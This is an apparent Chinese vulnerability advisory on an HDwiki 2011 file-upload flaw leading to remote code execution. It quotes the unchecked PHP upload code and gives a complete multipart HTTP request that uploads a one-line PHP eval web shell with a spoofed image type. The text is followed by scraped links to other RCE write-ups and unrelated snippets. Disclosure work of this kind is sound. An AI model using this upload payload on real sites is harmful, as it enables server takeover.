HDwiki文件上传导致远程代码执行漏洞
漏洞版本:
HDwiki(2011)
漏洞描述:
互动维客开源系统(HDwiki)作为中国第一家拥有自主知识产权的中文维基(Wiki)系统,由互动在线(北京)科技有限公司于2006 年11月28日正式推出,力争为给国内外众多的维基(Wiki)爱好者提供一个免费、易用、功能强大的维基(Wiki)建站系统 lib/file.class.php中
- function uploadfile($attachment,$target,$maxsize=1024,$is_image=1){
- $result=array ('result'=>false,'msg'=>'upload mistake');
- if($is_image){
- $attach=$attachment;
- $filesize=$attach['size']/1024;
- if(0==$filesize){
- $result['msg']='上传错误';
- return $result;
- }
- if(substr($attach['type'],0,6)!='image/'){
- $result['msg']='格式错误';
- return $result;
- }
- if($filesize>$maxsize){
- $result['msg']='文件过大';
- return $result;
- }
- }else{
- $attach['tmp_name']=$attachment;
- }
- $filedir=dirname($target);
- file::forcemkdir($filedir);
- if(@copy($attach['tmp_name'],$target)||@move_uploaded_file($attach['tmp_name'],$target)){
没有什么检查 attachment.php里触发
- function douploadimg(){
- $imgname=$_FILES['photofile']['name'];
- $extname=file::extname($imgname);
- $destfile=$_ENV['attachment']->makepath($extname);
- $arrupload=file::uploadfile($_FILES['photofile'],$destfile);
测试方法:
- POST /hdwiki/index.php?attachment-uploadimg HTTP/1.1
- Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword,*/*
- Referer: http://www.wooyun.org/
- Accept-Language: zh-cn
- Content-Type: multipart/form-data; boundary=---------------------------7db261e100f2e
- User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; InfoPath.2)
- Host: www.wooyun.org
- Content-Length: 370
- Connection: Keep-Alive
- Cache-Control: no-cache
- Cookie: Hm_lvt_c12f88b5c1cd041a732dea597a5ec94c=1298002704449; hd_sid=raG13H; hd_auth=4113YBBXXB13XtdR6EXTA1Cb9BuhZMK%2F29wdoHDQJTV5QZOoYd62OHd46iXKqf4Qz%2F5gc6pLm9fZ%2Bdgv68MT; hd_searchtime=1300983373
- -----------------------------7db261e100f2e
- Content-Disposition: form-data; name="MAX_FILE_SIZE"
- 30000
- -----------------------------7db261e100f2e
- Content-Disposition: form-data; name="photofile"; filename="C:\fucker\z.php"
- Content-Type: image/image
- zzz<?eval($_REQUEST[z])?>
- -----------------------------7db261e100f2e--
安全建议:
厂商解决方案 目前没有详细解决方案提供:
http://kaiyuan.hudong.com/
HDwiki文件上传导致远程代码执行漏洞的更多相关文章
- Apache Flink任意Jar包上传导致远程代码执行漏洞复现
0x00 简介 Apache Flink是由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎.Flink以数据并行和流水线方式执行任意流数据程序,Fl ...
- 「漏洞预警」Apache Flink 任意 Jar 包上传导致远程代码执行漏洞复现
漏洞描述 Apache Flink是一个用于分布式流和批处理数据的开放源码平台.Flink的核心是一个流数据流引擎,它为数据流上的分布式计算提供数据分发.通信和容错功能.Flink在流引擎之上构建批处 ...
- CVE-2017-8464 LNK文件(快捷方式)远程代码执行漏洞复现
北京时间2017年6月13日凌晨,微软官方发布6月安全补丁程序,“震网三代” LNK文件远程代码执行漏洞(CVE-2017-8464)和Windows搜索远程命令执行漏洞(CVE-2017-8543) ...
- Struts2-057远程代码执行漏洞(s2-057/CVE-2018-11776)复现
参考了大佬的链接:https://github.com/jas502n/St2-057 00x01前言 Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用 ...
- vBulletin 5.x 版本通杀远程代码执行漏洞复现
漏洞介绍 vBulletin中存在一个文件包含问题,可使恶意访问者包含来自 vBulletin 服务器的文件并且执行任意 PHP 代码.未经验证的恶意访问者可通过向index.php发出包含 rout ...
- Spring Framework远程代码执行漏洞复现(CVE-2022-22965)
1.漏洞描述 漏洞名称 Spring Framework远程代码执行漏洞 公开时间 2022-03-29 更新时间 2022-03-31 CVE编号 CVE-2022-22965 其他编号 QVD-2 ...
- Hadoop生态圈-Azkaban实现文件上传到hdfs并执行MR数据清洗
Hadoop生态圈-Azkaban实现文件上传到hdfs并执行MR数据清洗 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 如果你没有Hadoop集群的话也没有关系,我这里给出当时我 ...
- CVE-2012-0003 Microsoft Windows Media Player ‘winmm.dll’ MIDI文件解析远程代码执行漏洞 分析
[CNNVD]Microsoft Windows Media Player ‘winmm.dll’ MIDI文件解析远程代码执行漏洞(CNNVD-201201-110) Microsoft Wi ...
- BootStrap fileinput.js文件上传组件实例代码
1.首先我们下载好fileinput插件引入插件 ? 1 2 3 <span style="font-size:14px;"><link type="t ...
随机推荐
- Mybatis下配置调用Oracle自定义函数返回的游标结果集
在ibatis和Mybatis对存储过程和函数函数的调用的配置Xml是不一样的,以下是针对Mybatis 3.2的环境进行操作的. 第一步配置Mapper的xml内容 <mapper names ...
- Bootstarp--全局CSS样式之表格
表格在实际开发中可以说是非常常见的,但是有很多人不喜欢使用表格,但个人觉得在简单的界面布局中使用表格还是很简单的.毕竟人家给了表格这元素,而你却不去使用,貌似有点不解风情. 下面简单介绍Bootstr ...
- 2.RABBITMQ 入门 - WINDOWS - 生产和消费消息 一个完整案例
关于安装和配置,见上一篇 1.RABBITMQ 入门 - WINDOWS - 获取,安装,配置 公司有需求,要求使用winform开发这个东西(消息中间件),另外还要求开发一个日志中间件,但是也是要求 ...
- Stream To String , String To Stream
public static string StreamToString(Stream stream) { stream.Position = 0; using (StreamReader stremR ...
- js获取页面元素距离浏览器工作区顶端的距离
先介绍几个属性:(暂时只测了IE和firefox,实际上我工作中用到的最多的是chrome) 网页被卷起来的高度/宽度(即浏览器滚动条滚动后隐藏的页面内容高度) (javascript) ...
- jfreechart环形图完美实现
邮件发送由于不支持js,项目只能在后台生成环形图,用jfreechart完全可以实现,即:RingPlot. 这就拿jfreechart生成的最终效果,依赖jar包jfreechart,如果有任何细节 ...
- javascrip 分享到
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title> ...
- 11-17的学习总结(DOMfirstday)
HTML: 超文本标记语言,专门定义网页内容的语言 XHTML: 严格的HTML标准 DHTML: 所有实现网页动态效果技术的统称 XML: 可扩展的标记语言,标签都是自定义的 XML语法和HTML语 ...
- etTimeout与setInterval方法的区别
etTimeout与setInterval方法的区别 setTimeout()用于设定在指定的时间之后执行对应的函数或代码.,在全局作用域下执行 setTimeout(code,time[,args… ...
- php和js根据子网掩码和ip计算子网
php $ip = '192.168.6.1'; $mask = '255.255.2.0'; $sub_net = array();//子网 $ip_explode = explode('.', $ ...